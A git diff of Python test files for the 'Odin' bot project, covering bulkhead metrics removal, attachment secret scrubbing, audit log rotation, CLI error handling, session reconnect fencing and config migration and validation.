b/tests/test_bulkhead.py index 63f6b451e..3c5ac81e8 100644 --- a/tests/test_bulkhead.py +++ b/tests/test_bulkhead.py @@ -1,5 +1,5 @@ """Tests for bulkhead isolation — concurrency limiting, config, executor integration, -planner gather isolation, Prometheus metrics, and REST API.""" +planner gather isolation, bulkhead metrics, and REST API.""" from __future__ import annotations import asyncio @@ -199,21 +199,9 @@ def test_get_all_metrics(self): assert "subprocess" in m assert m["ssh"]["max_concurrent"] == 10 - def test_get_prometheus_metrics(self): - reg = BulkheadRegistry() - reg.register("ssh", 10) - m = reg.get_prometheus_metrics() - assert m["bulkhead_count"] == 1 - assert "bulkhead_ssh_active" in m - assert "bulkhead_ssh_total" in m - assert "bulkhead_ssh_rejected" in m - assert "bulkhead_ssh_errors" in m - assert "bulkhead_ssh_max_concurrent" in m - def test_empty_registry_metrics(self): reg = BulkheadRegistry() - m = reg.get_prometheus_metrics() - assert m == {"bulkhead_count": 0} + assert reg.get_all_metrics() == {} # ===================================================================== @@ -404,77 +392,6 @@ async def test_browser_bulkhead_wraps_handler(self): -# ===================================================================== -# Prometheus metrics -# ===================================================================== - - -class TestBulkheadPrometheusMetrics: - def test_metrics_rendered(self): - from src.health.metrics import MetricsCollector - reg = BulkheadRegistry() - reg.register("ssh", 10) - reg.register("subprocess", 20) - collector = MetricsCollector() - collector.register_source("bulkheads", reg.get_prometheus_metrics) - output = collector.render() - assert "odin_bulkhead_count" in output - assert "odin_bulkhead_active" in output - assert 'bulkhead="ssh"' in output - assert 'bulkhead="subprocess"' in output - - def test_metrics_absent(self): - from src.health.metrics import MetricsCollector - collector = MetricsCollector() - output = collector.render() - assert "odin_bulkhead" not in output - - def test_metrics_empty_registry(self): - from src.health.metrics import MetricsCollector - reg = BulkheadRegistry() - collector = MetricsCollector() - collector.register_source("bulkheads", reg.get_prometheus_metrics) - output = collector.render() - assert "odin_bulkhead_count 0" in output - - @pytest.mark.asyncio - async def test_metrics_update_after_operations(self): - from src.health.metrics import MetricsCollector - reg = BulkheadRegistry() - bh = reg.register("ssh", 10) - async with bh.acquire(): - pass - async with bh.acquire(): - pass - collector = MetricsCollector() - collector.register_source("bulkheads", reg.get_prometheus_metrics) - output = collector.render() - assert "odin_bulkhead_operations_total" in output - - def test_rejected_metrics(self): - from src.health.metrics import MetricsCollector - reg = BulkheadRegistry() - reg.register("ssh", 10) - collector = MetricsCollector() - collector.register_source("bulkheads", reg.get_prometheus_metrics) - output = collector.render() - assert "odin_bulkhead_rejected_total" in output - - def test_render_does_not_mutate_source_data(self): - """Rendering metrics must not modify the dict returned by the source.""" - from src.health.metrics import MetricsCollector - reg = BulkheadRegistry() - reg.register("ssh", 10) - collector = MetricsCollector() - collector.register_source("bulkheads", reg.get_prometheus_metrics) - data_before = reg.get_prometheus_metrics() - assert "bulkhead_count" in data_before - collector.render() - data_after = reg.get_prometheus_metrics() - assert "bulkhead_count" in data_after - assert data_before == data_after - - # ===================================================================== # REST API # ===================================================================== diff --git a/tests/test_campaign_agent_routes_coverage.py b/tests/test_campaign_agent_routes_coverage.py new file mode 100644 index 000000000..efb82e8b2 --- /dev/null +++ b/tests/test_campaign_agent_routes_coverage.py @@ -0,0 +1,23 @@ +"""Malformed agent-policy writes are rejected before persistence or spawning.""" +from types import SimpleNamespace +from unittest.mock import AsyncMock + +from aiohttp import web +from aiohttp.test_utils import TestClient, TestServer + +from src.config.schema import Config +from src.web.api import agents_loops + + +async def test_invalid_json_agent_policy_never_persists(monkeypatch): + persist = AsyncMock(side_effect=AssertionError("no config mutation")) + monkeypatch.setattr(agents_loops, "persist_config_paths_locked", persist) + routes = web.RouteTableDef() + agents_loops.register_agents(routes, SimpleNamespace(config=Config(discord={"token": "test"}))) + app = web.Application() + app.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.put("/api/agents/model", data="{") + assert response.status == 400 + assert "error" in await response.json() + persist.assert_not_awaited() diff --git a/tests/test_campaign_attachment_intake_coverage.py b/tests/test_campaign_attachment_intake_coverage.py new file mode 100644 index 000000000..5a4fa6cbe --- /dev/null +++ b/tests/test_campaign_attachment_intake_coverage.py @@ -0,0 +1,99 @@ +"""Failure regressions for attachment preservation at the intake boundary.""" + +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import AsyncMock, Mock + +import pytest + +import discord +from src.config.schema import AttachmentsConfig +from src.discord import attachments +from src.discord.attachments import AttachmentProcessor +from tests.characterization.test_intake_gating import build +from tests.fakes import FakeMessage +from tests.test_intake_pipeline import _cfg, _intake, _message + + +def test_exclusive_save_retries_uuid_collision_without_overwrite(tmp_path, monkeypatch): + processor = AttachmentProcessor(temp_dir=str(tmp_path)) + ids = iter(["collision", "collision", "fresh"]) + monkeypatch.setattr(attachments.uuid, "uuid4", lambda: SimpleNamespace(hex=next(ids))) + att = SimpleNamespace(filename="payload.txt") + first = processor._save(att, b"first", "channel", "message") + second = processor._save(att, b"second", "channel", "message") + assert first != second + assert first.read_bytes() == b"first" + assert second.read_bytes() == b"second" + + +def test_archive_preview_read_error_does_not_hide_readable_member(tmp_path, monkeypatch): + processor = AttachmentProcessor(temp_dir=str(tmp_path)) + bad, good = tmp_path / "a.txt", tmp_path / "b.txt" + bad.write_text("unreadable") + good.write_text("preserved") + original = Path.read_text + + def read(path, *args, **kwargs): + if path == bad: + raise PermissionError("unreadable member") + return original(path, *args, **kwargs) + + monkeypatch.setattr(Path, "read_text", read) + preview = processor._preview_archive_files(tmp_path) + assert "preserved" in preview and "unreadable" not in preview + + +async def test_retention_failure_reports_no_cursor_but_preserves_attachment_text(tmp_path): + config = _cfg() + config.attachments = AttachmentsConfig(temp_directory=str(tmp_path)) + intake = _intake(config=config) + intake._tool_executor = SimpleNamespace(retain_attachments=Mock(side_effect=OSError("quota"))) + intake._sessions.get.return_value = None + # Real processor feeds the retention boundary, with just the Discord HTTP + # download replaced. Preview limits force full-content retention. + data = b"x" * 100_000 + + att = SimpleNamespace(filename="large.txt", content_type="text/plain", + size=len(data), read=AsyncMock(return_value=data)) + text, images = await intake._process_attachments(_message(attachments=[att])) + assert "Large file previewed" in text + assert "no cursor was issued" in text + assert not images + intake._tool_executor.retain_attachments.assert_called_once() + + +async def test_ignored_bot_without_explicit_mention_never_enters_pipeline(): + config = _cfg() + config.discord.ignore_bot_ids = ["5"] + intake = _intake(config=config, user=SimpleNamespace(id=1)) + await intake.handle(_message(is_bot=True)) + intake._pipeline.run.assert_not_called() + + +@pytest.mark.parametrize("delete_error,deleted", [(None, True), (404, True), (403, False)]) +async def test_secret_in_attachment_is_scrubbed_before_pipeline( + tmp_path, monkeypatch, delete_error, deleted, +): + monkeypatch.chdir(tmp_path) + bot = build() + message = FakeMessage("read this attachment") + message.delete = AsyncMock() + if delete_error: + cls = discord.NotFound if delete_error == 404 else discord.Forbidden + message.delete.side_effect = cls( + SimpleNamespace(status=delete_error, reason="fixture"), "fixture") + bot.intake._process_attachments = AsyncMock(return_value=("attached credential", [])) + # Only the extracted attachment triggers the second scrub boundary. + monkeypatch.setattr("src.discord.intake_pipeline.check_for_secrets", + lambda text: "attached credential" in text) + scrub = Mock() + bot.intake._sessions.scrub_secrets = scrub + await bot.on_message(message) + scrub.assert_called_once() + assert "attached credential" in scrub.call_args.args[1] + message.delete.assert_awaited_once() + bot.pipeline.run.assert_not_awaited() + notices = message.channel.sent + assert notices + assert ("I've deleted it" in str(notices)) is deleted diff --git a/tests/test_campaign_audit_observability.py b/tests/test_campaign_audit_observability.py new file mode 100644 index 000000000..72057aa0a --- /dev/null +++ b/tests/test_campaign_audit_observability.py @@ -0,0 +1,144 @@ +import json +from datetime import UTC, datetime, timedelta +from types import SimpleNamespace + +import pytest +from aiohttp import web +from aiohttp.test_utils import TestClient, TestServer + +from src.audit.diff_tracker import compute_dict_diff, compute_unified_diff +from src.audit.logger import AuditLogger +from src.observability.aggregates import failure_aggregates +from src.web.api.observability import register_aggregates + + +@pytest.mark.asyncio +async def test_log_stats_retained_rotation_matches_search_and_tool_inventory(tmp_path): + logger = AuditLogger(str(tmp_path / "audit.jsonl"), max_bytes=1, max_files=3) + await logger.log_execution(user_id="user", user_name="User", tool_name="old_tool", + channel_id="channel", approved=True, + tool_input={}, result_summary="failed", execution_time_ms=1, + error="failure") + await logger.log_execution(user_id="user", user_name="User", tool_name="new_tool", + channel_id="channel", approved=True, + tool_input={}, result_summary="done", execution_time_ms=1) + stats = await logger.get_log_stats() + assert stats["total"] == len(await logger.search(limit=100)) == 2 + assert stats["tools"] == sorted(await logger.count_by_tool()) == ["new_tool", "old_tool"] + assert stats["errors"] == 1 + + +@pytest.mark.asyncio +async def test_stats_stable_snapshot_survives_rotation_after_open(tmp_path, monkeypatch): + logger = AuditLogger(str(tmp_path / "audit.jsonl")) + logger.path.write_text(json.dumps({"tool_name": "old_tool"}) + "\n") + original = logger._open_read_snapshot + + async def rotate_after_open(): + snapshot = await original() + logger.path.rename(logger.path.with_name(logger.path.name + ".1")) + logger.path.write_text(json.dumps({"tool_name": "new_tool"}) + "\n") + return snapshot + + monkeypatch.setattr(logger, "_open_read_snapshot", rotate_after_open) + stats = await logger.get_log_stats() + assert stats["total"] == 1 + assert stats["tools"] == ["old_tool"] + + +@pytest.mark.asyncio +async def test_stats_empty_shape_and_rotation_without_active_file(tmp_path): + logger = AuditLogger(str(tmp_path / "audit.jsonl")) + assert await logger.get_log_stats() == { + "total": 0, "errors": 0, "tool_count": 0, "tools": [], "web_actions": 0, + } + logger.path.with_name(logger.path.name + ".1").write_text( + json.dumps({"type": "web_action", "tool_name": "config_update"}) + "\n" + ) + assert (await logger.get_log_stats())["tools"] == ["config_update"] + + +def test_failures_include_rotations_and_evidence_before_old_tail_limit(tmp_path): + path = tmp_path / "audit.jsonl" + now = datetime.now(UTC) + + def failure(hours): + return json.dumps({"timestamp": (now - timedelta(hours=hours)).isoformat(), + "failure": {"class": "timeout"}, "tool_name": "tool"}) + "\n" + + path.write_text(failure(1) + json.dumps({"padding": "x" * (4 * 1024 * 1024)}) + "\n") + path.with_name(path.name + ".1").write_text(failure(2) + failure(30)) + result = failure_aggregates(str(path)) + assert result["classified"] == 2 + assert result["trends"] == [{"class": "timeout", "current": 2, "previous": 1, "delta": 1}] + assert result["coverage"]["generations"] == 2 + assert result["coverage"]["complete_retained_scan"] is True + + +@pytest.mark.asyncio +async def test_failures_use_logger_snapshot_and_exclude_later_appends(tmp_path): + logger = AuditLogger(str(tmp_path / "audit.jsonl")) + row = json.dumps({"timestamp": datetime.now(UTC).isoformat(), + "failure": {"class": "timeout"}, "tool_name": "tool"}) + "\n" + logger.path.write_text(row) + snapshot = await logger.open_read_snapshot() + try: + with logger.path.open("a") as handle: + handle.write(row) + result = failure_aggregates(str(logger.path), snapshot=snapshot) + assert result["classified"] == 1 + assert not snapshot[0][0].closed + finally: + for handle, _stat in snapshot: + handle.close() + + +@pytest.mark.asyncio +async def test_failure_endpoint_scans_real_logger_rotations_and_closes_snapshot( + tmp_path, monkeypatch, +): + logger = AuditLogger(str(tmp_path / "audit.jsonl")) + logger.path.with_name(logger.path.name + ".1").write_text(json.dumps({ + "timestamp": datetime.now(UTC).isoformat(), "failure": {"class": "timeout"}, + "tool_name": "retained_tool", + }) + "\n") + opened = [] + original = logger.open_read_snapshot + + async def capture_snapshot(): + snapshot = await original() + opened.extend(handle for handle, _stat in snapshot) + return snapshot + + monkeypatch.setattr(logger, "open_read_snapshot", capture_snapshot) + bot = SimpleNamespace(audit=logger, config=SimpleNamespace( + tools=SimpleNamespace(audit_log_path=str(logger.path)))) + routes = web.RouteTableDef() + register_aggregates(routes, bot) + app = web.Application() + app.router.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.get("/api/observability/failures") + assert response.status == 200 + data = await response.json() + assert data["classified"] == 1 + assert data["by_class"]["timeout"]["top_tools"] == {"retained_tool": 1} + assert data["coverage"]["generations"] == 1 + assert opened and all(handle.closed for handle in opened) + + +@pytest.mark.parametrize("terminal_newline", [False, True]) +def test_unified_diff_frames_headers_and_content(terminal_newline): + ending = "\n" if terminal_newline else "" + result = compute_unified_diff("old" + ending, "new" + ending, label="sample") + lines = result.splitlines() + assert lines[:3] == ["--- a/sample", "+++ b/sample", "@@ -1 +1 @@"] + assert "-old" in lines and "+new" in lines + assert ("\\ No newline at end of file" in lines) is not terminal_newline + + +def test_dict_diff_is_valid_line_framed_patch(): + lines = compute_dict_diff({"x": 1}, {"x": 2}).splitlines() + assert lines[:3] == ["--- a/config", "+++ b/config", "@@ -1,3 +1,3 @@"] + assert '- "x": 1' in lines + assert '+ "x": 2' in lines diff --git a/tests/test_campaign_cli_coverage.py b/tests/test_campaign_cli_coverage.py new file mode 100644 index 000000000..20525db39 --- /dev/null +++ b/tests/test_campaign_cli_coverage.py @@ -0,0 +1,73 @@ +"""CLI failures must remain failures, without contacting an installed Odin.""" +import io +import json +import urllib.error +from unittest.mock import Mock + +import pytest + +from src import cli + + +@pytest.mark.parametrize("interactive", [True, False]) +def test_empty_prompt_prints_help_without_transport(monkeypatch, capsys, interactive): + stdin = io.StringIO(" \n") + stdin.isatty = lambda: interactive + monkeypatch.setattr(cli.sys, "stdin", stdin) + monkeypatch.setattr(cli.sys, "argv", ["odin"]) + transport = Mock(side_effect=AssertionError("no network")) + monkeypatch.setattr(cli.urllib.request, "urlopen", transport) + assert cli.main() == 1 + assert "Send a prompt" in capsys.readouterr().out + transport.assert_not_called() + + +@pytest.mark.parametrize("error", [ + urllib.error.URLError("connection refused"), + urllib.error.HTTPError("http://example.invalid", 403, "Forbidden", {}, None), +]) +def test_transport_failure_is_nonzero_even_in_json_mode(monkeypatch, capsys, error): + monkeypatch.setattr(cli.sys, "argv", ["odin", "hello", "--json"]) + monkeypatch.setattr(cli.urllib.request, "urlopen", Mock(side_effect=error)) + assert cli.main() == 1 + output = capsys.readouterr() + assert output.out == "" + assert "Connection/API error:" in output.err + + +def test_piped_prompt_and_environment_build_real_authenticated_request(monkeypatch, capsys): + monkeypatch.setenv("ODIN_URL", "http://example.invalid/") + monkeypatch.setenv("ODIN_API_TOKEN", "test-credential") + monkeypatch.setattr(cli.sys, "argv", ["odin", "--timeout", "12"]) + stdin = io.StringIO(" diagnose the test service\n") + stdin.isatty = lambda: False + monkeypatch.setattr(cli.sys, "stdin", stdin) + + def transport(request, timeout): + assert request.full_url == "http://example.invalid/api/execute" + assert request.get_header("Authorization") == "Bearer test-credential" + assert json.loads(request.data) == {"prompt": "diagnose the test service"} + assert timeout == 12 + return io.BytesIO(b'{"response":"test answer","is_error":false}') + + monkeypatch.setattr(cli.urllib.request, "urlopen", transport) + assert cli.main() == 0 + assert capsys.readouterr().out == "test answer\n" + + +def test_unreadable_prompt_path_does_not_prevent_normal_prose(monkeypatch): + monkeypatch.setattr(cli.Path, "is_file", Mock(side_effect=OSError("test stat failure"))) + assert not cli.legacy_server_arguments(["explain the service"]) + assert cli.legacy_server_arguments(["operator.yaml"]) + + +@pytest.mark.parametrize("arguments", [["operator.yaml"], ["--config=operator"], ["-coperator"]]) +def test_python_client_refuses_legacy_daemon_arguments_before_network( + monkeypatch, capsys, arguments, +): + monkeypatch.setattr(cli.sys, "argv", ["odin", *arguments]) + network = Mock(side_effect=AssertionError("no obsolete server request")) + monkeypatch.setattr(cli.urllib.request, "urlopen", network) + assert cli.main() == 2 + assert "server command is now odin-server" in capsys.readouterr().err + network.assert_not_called() diff --git a/tests/test_campaign_computer_store_coverage.py b/tests/test_campaign_computer_store_coverage.py new file mode 100644 index 000000000..011aedc8e --- /dev/null +++ b/tests/test_campaign_computer_store_coverage.py @@ -0,0 +1,132 @@ +"""Real SQLite reconnect fencing and rollback, without native input or GUI IO.""" + +import copy +from dataclasses import replace + +import pytest + +from src.computer.models import ComputerError, RequestContext +from src.computer.runtime.hyprland_scope import owner_handle_to_record +from src.computer.store import ComputerStore +from tests.test_hyprland_durable_reconnect import durable as durable + + +@pytest.fixture +def reconnect_store(tmp_path, durable): + store = ComputerStore(tmp_path / "state", tmp_path / "evidence") + grant = store.create_session(RequestContext("owner", "channel", "turn", "host"), + platform="wayland", environment="existing_session", + backend="hyprland") + descriptor = owner_handle_to_record(durable[1]) + store.record_hyprland_owner(grant, descriptor) + grant = store.set_state(grant.session_id, "active") + grant = store.begin_hyprland_reconciliation( + grant, phase="unknown_release", reason="unknown_release", + old_grant={"generation": grant.generation, + "consent_generation": grant.consent_generation, + "task_hints": {"goal": "finish the document"}, + "authorizes_input": False, "recovery_command_id": "a" * 32}) + yield store, grant, descriptor + store.close() + + +def adopted_owner(descriptor, command): + adopted = copy.deepcopy(descriptor) + successor = command["successor"] + adopted["owner"].update(recovery_pid=successor["pid"], recovery_uid=successor["uid"], + recovery_start_ticks=str(successor["start_ticks"])) + return adopted + + +def test_reconnect_phases_are_ordered_and_retry_is_query_only(reconnect_store): + store, grant, descriptor = reconnect_store + command, query = store.prepare_hyprland_reconnect(grant) + assert query is False + retry, query = store.prepare_hyprland_reconnect(grant) + assert retry == command and query is True + store.persist_hyprland_reconnected_owner( + grant, command["command_id"], adopted_owner(descriptor, command)) + with pytest.raises(ComputerError, match="invalid_recovery_pending"): + store.prepare_hyprland_reconnect_phase(grant, command["command_id"], "retire") + assert not store.db.in_transaction + assert store.prepare_hyprland_reconnect_phase( + grant, command["command_id"], "reconcile") is False + assert store.prepare_hyprland_reconnect_phase(grant, command["command_id"], "reconcile") is True + assert store.prepare_hyprland_reconnect_phase(grant, command["command_id"], "retire") is False + assert store.get_session(grant.session_id) == grant + + +@pytest.mark.parametrize("method", ["prepare", "phase", "persist", "task", "owner"]) +def test_stale_grant_cannot_publish_reconnect_or_authority(reconnect_store, method): + store, grant, descriptor = reconnect_store + stale = replace(grant, generation=grant.generation + 1) + calls = { + "prepare": lambda: store.prepare_hyprland_reconnect(stale), + "phase": lambda: store.prepare_hyprland_reconnect_phase(stale, "wrong", "reconcile"), + "persist": lambda: store.persist_hyprland_reconnected_owner(stale, "wrong", descriptor), + "task": lambda: store.persist_hyprland_task(stale, {"goal": "forged"}), + "owner": lambda: store.record_hyprland_owner(stale, descriptor), + } + with pytest.raises(ComputerError, match="grant_revoked"): + calls[method]() + assert not store.db.in_transaction + assert store.get_session(grant.session_id) == grant + assert store.hyprland_owner(grant.session_id) == descriptor + + +def test_reconnect_requires_adoption_before_any_recovery_phase(reconnect_store): + store, grant, descriptor = reconnect_store + command, _ = store.prepare_hyprland_reconnect(grant) + with pytest.raises(ComputerError, match="grant_revoked"): + store.prepare_hyprland_reconnect_phase(grant, command["command_id"], "reconcile") + with pytest.raises(ComputerError, match="grant_revoked"): + store.persist_hyprland_reconnected_owner(grant, "different-command", descriptor) + with pytest.raises(ComputerError, match="invalid_recovery_pending"): + store.prepare_hyprland_reconnect_phase(grant, command["command_id"], "unsafe-phase") + assert not store.db.in_transaction + store.persist_hyprland_reconnected_owner( + grant, command["command_id"], adopted_owner(descriptor, command)) + assert store.prepare_hyprland_reconnect_phase( + grant, command["command_id"], "reconcile") is False + + +def test_second_crash_reconnect_requires_saved_adopted_owner(reconnect_store, monkeypatch): + store, grant, descriptor = reconnect_store + command, _ = store.prepare_hyprland_reconnect(grant) + import src.computer.runtime.hyprland_identity as identity + + original = identity._proc_start + monkeypatch.setattr(identity, "_proc_start", lambda *args: original(*args) + 1) + with pytest.raises(ComputerError, match="hyprland_reconnect_outcome_unknown"): + store.prepare_hyprland_reconnect(grant) + assert not store.db.in_transaction + adopted = adopted_owner(descriptor, command) + store.persist_hyprland_reconnected_owner(grant, command["command_id"], adopted) + successor, query = store.prepare_hyprland_reconnect(grant) + assert not query and successor["command_id"] != command["command_id"] + assert successor["owner"] == adopted + # Once release phases were attempted, even a saved handle cannot authorize + # a new adoption after a second crash. + store.persist_hyprland_reconnected_owner( + grant, successor["command_id"], adopted_owner(adopted, successor)) + store.prepare_hyprland_reconnect_phase(grant, successor["command_id"], "reconcile") + monkeypatch.setattr(identity, "_proc_start", lambda *args: original(*args) + 2) + with pytest.raises(ComputerError, match="hyprland_reconnect_outcome_unknown"): + store.prepare_hyprland_reconnect(grant) + assert store.get_session(grant.session_id).state == "quarantined" + + +def test_legacy_owner_cannot_be_adopted(reconnect_store): + from tests.test_hyprland_recovery_controller import owner_descriptor + + store, grant, _ = reconnect_store + receipt = copy.deepcopy(store._hyprland_recovery_record(grant.session_id)) + receipt["native_owner"] = owner_descriptor() + receipt["recovery_owner"] = owner_descriptor() + import json + + store.db.execute("UPDATE session_recovery SET result=? WHERE session_id=?", + (json.dumps(receipt), grant.session_id)) + with pytest.raises(ComputerError, match="hyprland_durable_owner_required"): + store.prepare_hyprland_reconnect(grant) + assert not store.db.in_transaction diff --git a/tests/test_campaign_coverage_core_config.py b/tests/test_campaign_coverage_core_config.py new file mode 100644 index 000000000..906a43c07 --- /dev/null +++ b/tests/test_campaign_coverage_core_config.py @@ -0,0 +1,243 @@ +"""Exercise config upgrades and partial writes against isolated real stores.""" +import sys +from pathlib import Path + +import pytest +import yaml +from pydantic import BaseModel, Field + +from src.config import migrations, package_migrations, persistence +from src.config import schema as schema_module +from src.config.initialization import InitializationMode, InitializationRecoveryRequiredError +from src.config.schema import Config, LLMProviderConfig, PersonalityConfig, PersonalityPreset +from src.config.startup_context import provision_initialization_parent, resolve_startup_context + + +@pytest.mark.parametrize("legacy,expected", [(-5, 10), (9000, 3600)]) +def test_legacy_timeout_bounds_are_persisted_without_losing_other_fields( + tmp_path, legacy, expected +): + path = tmp_path / "config.yml" + raw = f"openai_compatible:\n timeout: {legacy}\n model: custom # retained\n" + path.write_text(raw) + migrations.apply_compatible_timeout_migration(yaml.safe_load(raw), path, raw) + assert yaml.safe_load(path.read_text())["openai_compatible"] == { + "model": "custom", "request_timeout_seconds": 3600, + "stream_stall_timeout_seconds": expected, + } + assert "# retained" in path.read_text() + + +@pytest.mark.parametrize("errno", [13, 30]) +def test_image_upgrade_readonly_marker_uses_runtime_defaults_without_config_write( + tmp_path, monkeypatch, caplog, errno +): + path = tmp_path / "config.yml" + raw = "image: {openai: {image_model: gpt-image-2, outer_model: gpt-5.5}}\n" + path.write_text(raw) + data = yaml.safe_load(raw) + + def unavailable_marker(*args, **kwargs): + raise OSError(errno, "isolated marker storage unavailable") + + monkeypatch.setattr(migrations, "_atomic_write_marker", unavailable_marker) + migrations.apply_image_defaults_migration(data, path, raw) + assert data["image"]["openai"] == { + "image_model": "gpt-image-2.5-flare", "outer_model": "gpt-6-astra", + } + assert path.read_text() == raw + assert not migrations.image_defaults_marker_path(path).exists() + assert "using runtime defaults" in caplog.text + + +def test_root_config_rejects_nonconcrete_preconstructed_provider(): + # Pydantic accepts existing nested model instances without revalidation. + # The root guard must still reject a caller's subsequently mutated selector. + provider = LLMProviderConfig(model="gpt-6-luna") + provider.model = "" + with pytest.raises(ValueError, match="main model must select a concrete"): + Config(discord={"token": "fixture"}, llm_provider=provider) + + +def test_personality_model_entries_and_tombstones_keep_leaf_scope(tmp_path): + preset = PersonalityPreset(name="Replacement", description="New", content="New text") + cfg = PersonalityConfig(user_presets={"new": preset}) + submitted = {"user_presets": {"new": preset, "old": {"$delete": True}}} + leaves = persistence.submitted_leaves(submitted, cfg.model_dump(), PersonalityConfig) + assert leaves == [ + (("user_presets", "new"), preset.model_dump()), + (("user_presets", "old"), persistence.DELETE_CONFIG_PATH), + ] + path = tmp_path / "config.yml" + path.write_text("user_presets: {old: {content: old}, other: {content: '${KEEP}'}}\n") + persistence.patch_config_paths(leaves, path=path) + document = yaml.safe_load(path.read_text()) + assert document["user_presets"]["new"] == preset.model_dump() + assert "old" not in document["user_presets"] + assert document["user_presets"]["other"] == {"content": "${KEEP}"} + + +def test_generic_nested_mapping_patch_does_not_copy_unsubmitted_siblings(tmp_path): + class MappingConfig(BaseModel): + entries: dict[str, dict[str, dict[str, int]]] + + validated = MappingConfig(entries={"a": {"nested": {"port": 12, "keep": 7}}}) + leaves = persistence.submitted_leaves( + {"entries": {"a": {"nested": {"port": "12"}}}}, + validated.model_dump(), MappingConfig, + ) + assert leaves == [(("entries", "a", "nested", "port"), 12)] + path = tmp_path / "config.yml" + path.write_text("entries: {a: {nested: {port: 1, keep: '${KEEP}'}}}\n") + persistence.patch_config_paths(leaves, path=path) + assert yaml.safe_load(path.read_text()) == { + "entries": {"a": {"nested": {"port": 12, "keep": "${KEEP}"}}}, + } + + +def test_mapping_tombstone_cannot_delete_missing_or_scalar_parent(): + current = {"user_presets": None, "name": "operator"} + persistence.remove_submitted_mapping_entries( + current, {"user_presets": {"old": {"$delete": True}}}, PersonalityConfig, + ) + assert current == {"user_presets": None, "name": "operator"} + + +def test_unrequested_webhook_row_cannot_be_inserted_as_an_implicit_create(tmp_path): + path = tmp_path / "config.yml" + original = "outbound_webhooks: {targets: []}\n" + path.write_text(original) + with pytest.raises(persistence.ConfigPersistError, match="target changed on disk"): + persistence.patch_webhook_targets( + [{"id": "fixture", "url": "https://fixture.invalid"}], + changed_fields={}, path=path, + ) + assert path.read_text() == original + + +@pytest.mark.parametrize("raw", ["[]\n", "tools: false\n"]) +def test_packaged_key_repair_preserves_nonmapping_config(tmp_path, raw): + path, key, legacy = (tmp_path / name for name in ("config.yml", "key", "legacy")) + path.write_text(raw) + key.write_text("inert key fixture") + assert not package_migrations.migrate_packaged_ssh_key(path, key, legacy) + assert path.read_text() == raw + + +@pytest.mark.parametrize("pinned", [False, True]) +def test_compose_relocation_refuses_corrupt_destination_or_pinned_state( + tmp_path, monkeypatch, pinned +): + configs = [tmp_path / name / "config.yml" for name in ("old", "new")] + monkeypatch.delenv("ODIN_INITIALIZATION_STATE", raising=False) + for config in configs: + config.parent.mkdir() + config.write_text("web: {}\n") + state_path = str(tmp_path / "pinned/state.json") if pinned else None + if pinned: + monkeypatch.setenv("ODIN_INITIALIZATION_STATE", state_path) + old = resolve_startup_context(configs[0], initialization_state=state_path) + provision_initialization_parent(old.initialization_state_path) + old.onboarding_store().provision_fresh() + new = resolve_startup_context(configs[1], initialization_state=state_path) + provision_initialization_parent(new.initialization_state_path) + new.initialization_state_path.write_text("not a state record") + new.initialization_state_path.chmod(0o600) + before = new.initialization_state_path.read_bytes() + with pytest.raises(InitializationRecoveryRequiredError): + package_migrations.migrate_compose_initialization(*configs) + assert new.initialization_state_path.read_bytes() == before + assert new.onboarding_store().state().mode is InitializationMode.RECOVERY + + +def test_package_repair_cli_publishes_ssh_change_and_compose_state( + tmp_path, monkeypatch, capsys +): + monkeypatch.delenv("ODIN_INITIALIZATION_STATE", raising=False) + path, key = tmp_path / "old/config.yml", tmp_path / "key" + path.parent.mkdir() + path.write_text("tools: {ssh_key_path: /app/.ssh/id_ed25519}\n") + key.write_text("inert key fixture") + # Redirect the default legacy identity existence check, not the writer. + original_lexists = package_migrations.os.path.lexists + monkeypatch.setattr( + package_migrations.os.path, "lexists", + lambda p: False if Path(p) == Path("/app/.ssh/id_ed25519") else original_lexists(p), + ) + monkeypatch.setattr(sys, "argv", ["repair", str(path), str(key)]) + package_migrations.main() + assert yaml.safe_load(path.read_text())["tools"]["ssh_key_path"] == str(key) + assert "migrated the unused shipped SSH key" in capsys.readouterr().out + original = path.read_bytes() + package_migrations.main() + assert path.read_bytes() == original + assert capsys.readouterr().out == "" + old = resolve_startup_context(path) + provision_initialization_parent(old.initialization_state_path) + old.onboarding_store().provision_fresh() + target = tmp_path / "new/config.yml" + target.parent.mkdir() + target.write_bytes(original) + monkeypatch.setattr(sys, "argv", ["repair", str(path), str(target), "--compose-initialization"]) + package_migrations.main() + state = resolve_startup_context(target).onboarding_store().state() + assert state.mode is InitializationMode.PENDING + assert state.binding.config_path == target.resolve() + assert state.loopback_restricted + + +@pytest.mark.parametrize("field,value", [ + ("description", "fixture\ncontrol"), + ("host_id", "123456781234123412341234567890ab"), + ("host_keys", ["ssh-ed25519 fixture\nextra"]), +]) +def test_host_identity_rejects_control_or_noncanonical_material(field, value): + with pytest.raises(ValueError): + schema_module.ToolHost(address="fixture.invalid", **{field: value}) + + +@pytest.mark.parametrize("field,value", [ + ("hyprland_runtime_dir", "relative/fixture"), + ("hyprland_output_name", "fixture/output"), + ("hyprland_compositor_sha256", "A" * 64), + ("hyprland_compositor_commit", "invalid"), + ("hyprland_compositor_version", "version with spaces"), + ("wayland_bus_address", "tcp:host=fixture.invalid"), + ("wayland_guardian_binary", "relative-executable"), + ("storage_dir", " "), +]) +def test_computer_configuration_rejects_ambiguous_local_authority(field, value): + with pytest.raises(ValueError): + schema_module.ComputerUseConfig(**{field: value}) + + +@pytest.mark.parametrize("legacy,effort", [("disabled", "none"), ("adaptive", "medium"), + ("enabled", "high")]) +def test_compatible_legacy_thinking_mode_adapts_without_overriding_explicit_effort(legacy, effort): + assert schema_module.OpenAICompatibleConfig(thinking_mode=legacy).reasoning_effort == effort + assert schema_module.OpenAICompatibleConfig( + thinking_mode=legacy, reasoning_effort="low", + ).reasoning_effort == "low" + + +def test_mcp_transport_validation_preserves_supported_lanes_only(): + for transport in ("stdio", "http"): + assert schema_module.MCPServerConfig(transport=transport).transport == transport + with pytest.raises(ValueError, match="Invalid transport"): + schema_module.MCPServerConfig(transport="fixture-unknown") + + +def test_agent_fixed_axis_classifies_opaque_provider_model_without_rewriting(): + assert schema_module.agent_axis_mode("ollama:fixture-model") == "fixed" + + +def test_unknown_config_warning_recognizes_schema_aliases(monkeypatch, caplog): + # Exercise the schema-aware warning with a real aliased Pydantic field, + # rather than a dictionary pretending to be model metadata. + class AliasedConfig(Config): + fixture: str = Field(default="", alias="fixture_legacy") + + monkeypatch.setattr(schema_module, "Config", AliasedConfig) + schema_module._warn_unknown_config_keys({"fixture_legacy": "operator", "typo_fixture": 1}) + assert "Ignoring unknown config key(s): 